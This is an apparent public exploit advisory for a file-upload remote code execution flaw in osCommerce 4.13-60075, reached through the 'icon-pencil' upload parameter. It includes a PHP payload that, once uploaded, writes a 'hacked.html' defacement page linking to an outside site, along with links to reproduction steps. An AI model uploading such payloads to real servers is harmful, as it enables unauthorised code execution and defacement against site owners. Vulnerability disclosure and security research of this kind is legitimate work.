osCommerce 4.13-60075 Shell Upload

## Title: osCommerce 4.13-60075 File-Upload-RCE
## Author: nu11secur1ty
## Date: 12/14/2023
## Vendor: https://www.oscommerce.com/
## Software: https://www.oscommerce.com/download-file
## Reference: https://portswigger.net/web-security/file-upload


## Description:
The parameter "icon-pencil"  in the upload-file dz-clickable function
is vulnerable for File upload and Remote Code Execution then!
The attacker easily can destroy this system if he is a kracker, grey
hat, or some kind of stupid kid. More:
{https://portswigger.net/web-security/file-upload}. In this scenario,
I just uploaded a PHP exploit which created a second file directly on
the server and then I executed it DIRECTLY on the
server, by using just a browser. This can be executed with more
methods but we can talk about it later. =)


STATUS: CRITICAL Vulnerability

[+]Exploit:
```
<?php
// @nu11secur1ty 2023
$myfile = fopen("hacked.html", "w") or die("Unable to open file!");

$txt = "<p>You are hacked</p>n";
fwrite($myfile, $txt);
$txt = "<p><p>This is not good for you</p>n<a
href='https://sell.sawbrokers.com/domain/malicious.com/'target='_blank'>You
can visit our website for more information!</a></p>n";


fwrite($myfile, $txt);
fclose($myfile);
?>
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oscommerce.com/osCommerce-4.13-60075)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/12/oscommerce-413-60075-file-upload-rce.html)

## Time spent:
00:15:00